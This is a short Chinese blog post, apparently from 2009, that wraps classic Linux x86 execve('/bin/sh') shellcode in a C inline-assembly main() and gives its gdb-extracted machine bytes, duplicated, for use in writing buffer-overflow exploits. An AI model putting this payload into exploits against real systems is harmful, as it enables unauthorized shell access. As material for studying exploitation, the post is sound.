关于一个简单shellcode封装成C语言的形式
2009-08-25 16:45
393 查看
void main() {
__asm__("
jmp 0x18 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
call -0x2d # 5 bytes
.string /"/bin/sh/" # 8 bytes
");
}
------------------------------------------------------------
经过编译后,用gdb得到这段汇编语言的机器代码为:
/xeb/x18/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b
/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xec/xff/xff/xff/bin/sh
接着我们就可以利用这段代码编写溢出程序了。
__asm__("
jmp 0x18 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
call -0x2d # 5 bytes
.string /"/bin/sh/" # 8 bytes
");
}
------------------------------------------------------------
经过编译后,用gdb得到这段汇编语言的机器代码为:
/xeb/x18/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b
/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xec/xff/xff/xff/bin/sh
接着我们就可以利用这段代码编写溢出程序了。
相关文章推荐
- 关于简单的三层的简化(bll,dal,model)的封装这里全部都在一个文件主要在于明白意思
- 我的Android进阶之旅------>Android关于Activity管理的一个简单封装
- 我的Android进阶之旅------>Android关于Log的一个简单封装
- 关于轻量级数据库SQLite一个简单的SQLiteHelper访问数据库封装类
- Android关于Log的一个简单封装
- 一个通用简单线程池实现的初步封装(C语言)
- 我的Android进阶之旅------>Android关于Activity管理的一个简单封装
- 关于轻量级数据库SQLite一个简单的SQLiteHelper访问数据库封装类
- 我的Android进阶之旅------>Android关于Log的一个简单封装
- 我的Android进阶之旅------>Android关于Activity管理的一个简单封装
- 俺使用的C语言面向对象范式(前言与第一节:一个简单类的封装)
- 一个关于C语言单链表的简单应用程序
- 一个简单关于动画的暂停和开始操作的处理
- 关于封装一个类到dll里面
- Android 关于在ScrollView中加上一个ListView,ListView内容显示不完全(总是显示第一项)的问题的两种简单的解决方案
- C语言不用scanf函数的一个简单的计算器
- 一个关于C语言编程的问题
- 学习Java的第一步是安装好JDK,写一个Hello World, 其实JDK的学习没有那么简单,关于JDK有两个问题是很容易一直困扰Java程序员的地方:一个是CLASSPATH的问题,其实从原理上来说,是要搞清楚JRE的ClassLoader是如何加
- 一个简单的封装数据库类
- C语言实现的一个简单的猜数小游戏